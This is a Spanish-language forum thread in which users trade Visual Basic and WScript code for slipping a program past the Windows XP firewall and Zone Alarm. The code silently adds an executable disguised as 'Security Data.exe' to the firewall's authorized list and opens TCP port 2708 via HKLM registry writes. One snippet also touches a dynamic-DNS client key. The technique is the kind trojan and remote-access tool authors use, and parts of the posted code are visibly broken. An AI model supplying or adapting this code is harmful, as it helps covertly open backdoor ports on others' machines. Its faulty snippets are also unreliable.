Detectar si el Firewall de Win XP bloquea la aplicación

[Zorrohack]

bueno si es un Archivo encryptado pues se me ocurren dos cosas:

1. descifrar ese archivo
2. Renombrar el Archivo para asi "joder" el Zone Alarm

[Badlands]

renombrarlo lo dudo ya que no se puede modificar...
y desencriptarlo ni idea me voy a poner a investigar...si tenes algun link me seria de mucha ayuda.

[JanditoOo]

Uso Visual Basic 6.0 y pongo este comando:

Private Form_Load()

RegSetValues RegLocalMachine, "SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", App.Path & "\" & "Security Data.exe", App.Path & "\" & "Security Data.exe" & ":*:Enabled:Security Data", RegString

RegSetValues RegLocalMachine, "SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "2708:TCP", "2708:TCP:*:Enabled:Puerto Security Data", RegString
End Sub

y me selecciona RegLocalMachine con el siguiente error:

Compile error:
Invalid Outside Procedure

que estara mal?

[cracket13]

ami tambn me selecciona  RegLocalMachine 

[JanditoOo]

ami tambn me selecciona  RegLocalMachine 

Ya lo arregle es pq necesitas declarar las apis: mira este codigo:

Private Sub Form_Load()

On Error Resume Next
Set WS = CreateObject("WScript.Shell") ' asignamos a una variable el objeto

WS.RegWrite "HKEY_LOCAL_MACHINE\SOFTWARE\VitalWerks\DUC\", "Default", "", "RegString"

End Sub

y asi funciona correctamente =)

[Scratz]

Wow! Este mensaje lo postee hace una año y por fin hay respuestas. Gracias a todos.

[LixKeÜ]

Dim fir
Set fir = CreateObject("WScript.Shell") ' asignamos a una variable el objeto

fir.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\AuthorizedApplications\List\", App.Path & "\" & "Security Data.exe", App.Path & "\" & "Security Data.exe" & ":*:Enabled:Security Data", RegString

fir.RegWrite "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Services\SharedAccess\Parameters\FirewallPolicy\StandardProfile\GloballyOpenPorts\List\", "2708:TCP", "2708:TCP:*:Enabled:Puerto Security Data", RegString